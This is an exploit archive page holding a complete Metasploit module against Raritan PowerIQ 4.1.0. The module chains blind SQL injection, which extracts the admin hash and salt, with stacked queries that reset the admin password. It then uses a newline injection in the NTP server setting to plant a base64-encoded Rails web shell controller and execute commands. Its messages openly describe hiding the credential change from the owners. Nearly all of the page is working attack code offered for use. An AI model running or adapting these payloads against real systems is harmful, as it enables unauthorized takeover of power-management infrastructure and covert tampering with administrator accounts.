exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Raritan PowerIQ Unauthenticated SQL Injection

Raritan PowerIQ Unauthenticated SQL Injection
Posted Jul 18, 2014
Authored by Brandon Perry

This Metasploit module will exploit an unauthenticated SQL injection in order to gain a shell on the remote victim. This was tested against PowerIQ version 4.1.0. The 'check' command will attempt to pull the banner of the DBMS (PGSQL) in order to verify exploitability via boolean injections. In order to gain remote command execution, multiple vulnerabilities are used.

tags | exploit, remote, shell, vulnerability, sql injection
SHA-256 | 82be59d3b7e4fb6726460b589da8c608cb66c0ecd7ab47efe0c8055b4159d2f7

Raritan PowerIQ Unauthenticated SQL Injection

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Raritan PowerIQ Unauthenticated SQL Injection",
'Description' => %q{
This module will exploit an unauthenticated SQL injection in order to gain
a shell on the remote victim. This was tested against PowerIQ v4.1.0.

The 'check' command will attempt to pull the banner of the DBMS (PGSQL) in
order to verify exploitability via boolean injections.

In order to gain remote command execution, multiple vulnerabilities are used.

I use a SQL injection to gain administrative access.

I use a newline injection to save an NTP server I shouldn't be able to save.

By saving this unsanitized NTP server, I can execute commands as 'nginx' with
a request to the server's web application.

You can find a trial ISO at the following link. CentOS-based with PGSQL.
This is what this module was tested against.

http://cdn.raritan.com/download/power-iq/v4.1.0/power-iq-v4.1.0.73.iso

Trial license:
http://d3b2us605ptvk2.cloudfront.net/download/power-iq/RAR_PWIQ5FL_W7rYAAT_13JAN10_1206.lic

If for some reason these links do not work, I "registered" for the trial here:
https://www1.raritan.com/poweriqdownload.html
},
'License' => MSF_LICENSE,
'Author' =>
[
],
'References' =>
[
],
'DefaultOptions' =>
{
'SSL' => true,
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'BadChars' => "\x20",
'Compat' =>
{
'RequiredCmd' => 'generic perl python',
}
},
'Targets' =>
[
['Raritan PowerIQ v4.1.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
], self.class)
end

#In order to check for exploitability, I will enumerate the banner
#of the DBMS until I have it match a regular expression of /postgresql/i
#
#This isn't optimal (takes a few minutes), but it is reliable. I use
#a boolean injection to enumerate the banner a byte at a time.
def check

#First we make a request that we know should return a 200
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => 'sort=id&dir=ASC'
})

if !res or res.code != 200
return Exploit::CheckCode::Safe
end

#Now we make a request that we know should return a 500
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => "sort=id'&dir=ASC"
})

if !res or res.code != 500
print_error("Probably not vulnerable.")
return Exploit::CheckCode::Safe
end

#If we have made it this far, we believe we are exploitable,
#but now we must prove it. Get the length of the banner before
#attempting to enumerate the banner. I assume the length
#is not greater than 999 characters.
print_status("Attempting to get banner... This could take several minutes to fingerprint depending on network speed.")

length = ''
(1..3).each do |l|
(47..57).each do |i|
str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(LENGTH(VERSION()) AS CHARACTER(10000)),(CHR(32))))::text FROM #{l} FOR 1))>#{i}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => str
})

if res and res.code == 500
length << i.chr
break
end
end
end

if length == ''
return Exploit::CheckCode::Safe
end

print_status("Looks like the length of the banner is: " + length)

#We have the length, now let's get the banner until it matches
#the regular expression /postgresql/i
banner = ''
(1..length.to_i).each do |c|
(32..126).each do |b|
str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM #{c} FOR 1))>#{b}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
},
'data' => str
})

if res and res.code == 500
banner << b.chr

if c%10 == 0
vprint_status("#{((c.to_f/length.to_f)*100).to_s}% done: " + banner)
end

if banner =~ /postgresql/i
print_good("Looks like you are vulnerable.")
vprint_good("Current banner: " + banner)
return Exploit::CheckCode::Vulnerable
end

break
end
end
end

#If we reach here, we never matched our regex, which means we must
#not be vulnerable.
return Exploit::CheckCode::Safe
end

def exploit

print_status("Checking if vulnerable before attempting exploit.")

if check == Exploit::CheckCode::Vulnerable
print_status("We are vulnerable. Exploiting.")
print_status("Caching current admin user's password hash and salt.")
print_status("I can set it back later and they will be none the wiser")

print_status("Grabbing current hash")
old_crypted_password = get_admin_column_value("crypted_password")
print_status("Old hash: " + old_crypted_password)

print_status("Grabbing current salt")
old_salt = get_admin_column_value("salt")
print_status("Old salt: " + old_salt)

print_status("Resetting admin user credentials to admin:Passw0rd!")

headers = {
'X-Requested-With' => 'XMLHttpRequest'
}

salt_inj = ';UPDATE users set salt = (CHR(56)||CHR(102)||CHR(51)||CHR(99)||CHR(99)||CHR(101)||CHR(100)||CHR(100)||CHR(102)||CHR(51)||CHR(48)||CHR(50)||CHR(98)||CHR(51)||CHR(101)||CHR(50)||CHR(52)||CHR(54)||CHR(53)||CHR(100)||CHR(54)||CHR(101)||CHR(56)||CHR(53)||CHR(54)||CHR(101)||CHR(56)||CHR(56)||CHR(49)||CHR(56)||CHR(99)||CHR(54)||CHR(50)||CHR(49)||CHR(55)||CHR(100)||CHR(52)||CHR(100)||CHR(48)||CHR(52)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--'
hash_inj = ';UPDATE users set crypted_password=(CHR(56)||CHR(52)||CHR(99)||CHR(52)||CHR(50)||CHR(48)||CHR(101)||CHR(52)||CHR(48)||CHR(52)||CHR(57)||CHR(54)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(50)||CHR(55)||CHR(51)||CHR(48)||CHR(49)||CHR(98)||CHR(49)||CHR(48)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(53)||CHR(57)||CHR(54)||CHR(54)||CHR(54)||CHR(51)||CHR(56)||CHR(101)||CHR(48)||CHR(98)||CHR(50)||CHR(49)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--'

post = {
'sort' => 'id' + salt_inj,
'dir' => 'ASC'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => headers,
'vars_post' => post
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way")
end

post['sort'] = 'id' + hash_inj
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => headers,
'vars_post' => post
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way")
end

print_status("Authenticating with admin:Passw0rd!")
post = {
'login' => 'admin',
'password' => 'Passw0rd!'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login', 'login'),
'method' => 'POST',
'vars_post' => post
})

if !res or res.code != 302
fail_with("Authentication failed.")
end

cookie = res.get_cookies

print_status("Setting some stuff up")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers.json'),
'headers' => headers,
'cookie' => cookie
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end

servers = JSON.parse(res.body)

post = {
'_method' => '_delete',
'hosts' => servers["servers"].to_json
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'),
'method' => 'DELETE',
'vars_post' => post,
'headers' => headers,
'cookie' => cookie
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end

print_status("Sending stager")

stage = '`echo${IFS}Ye2xhc3MgRmRzYUNvbnRyb2xsZXIgPCBBY3Rpb25Db250cm9sbGVyOjpCYXNlCiAgZGVmIGluZGV4'
stage << 'CiAgICByZXQgPSBgI3twYXJhbXNbOmNtZF19YAogICAgcmVkaXJlY3RfdG8gcmV0CiAgZW5kCmVu'
stage << 'ZCAKIAoK|base64${IFS}--decode>/opt/raritan/polaris/rails/main/app/controllers/rewq_controller.rb`'

post = {
'host[server]' => "www.abc.com\x0aserver " + stage,
'host[ip_type]' => '0'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers'),
'method' => 'POST',
'vars_post' => post,
'headers' => headers,
'cookie' => cookie
})

if !res or res.code != 200 or res.body =~ /false/
fail_with("Server did not respond in an expected way.")
end

post = {
'_method' => '_delete',
'hosts' => '[{"server":"www.abc.com", "ip_type":0}]'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'),
'method' => 'DELETE',
'vars_post' => post,
'headers' => headers,
'cookie' => cookie
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'application_settings', 'edit'),
'cookie' => cookie
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end

res.body =~ /boxLabel: "Enable NTP",\n checked: (true|false),\n listeners/m

checked = $1

if checked == "true"
post = {
'_method' => 'put',
'rails_options[time_zone]' => 'UTC',
'date_time' => '',
'rails_options[ntp_enabled]' => 'off'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'),
'vars_post' => post,
'method' => 'POST',
'cookie' => cookie
})

if !res or res.code != 302
fail_with("Server did not respond in an expected way")
end
end

post = {
'_method' => 'put',
'rails_options[time_zone]' => 'UTC',
'date_time' => '',
'rails_options[ntp_enabled]' => 'on'
}

print_status("Triggering stager")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'),
'method' => 'POST',
'vars_post' => post,
'cookie' => cookie,
})

end
end

def get_admin_column_value(column)
ret = ''

(1..40).each do |i|
[*('0'..'9'),*('a'..'f')].each do |c|
inj = "(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(#{column} AS CHARACTER(10000)),(CHR(32))) FROM users WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)) OFFSET 0 LIMIT 1)::text FROM #{i} FOR 1))>#{c.ord}) THEN 1 ELSE 1/(SELECT 0) END))"

post = {
'sort' => 'id,' + inj,
'dir' => 'ASC'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => post
})

if !res
fail_with("Server did not respond in an expected way")
end

if res.code == 500
vprint_status("Got character '"+c+"' for index " + i.to_s)
ret << c
break
end
end
end

return ret
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close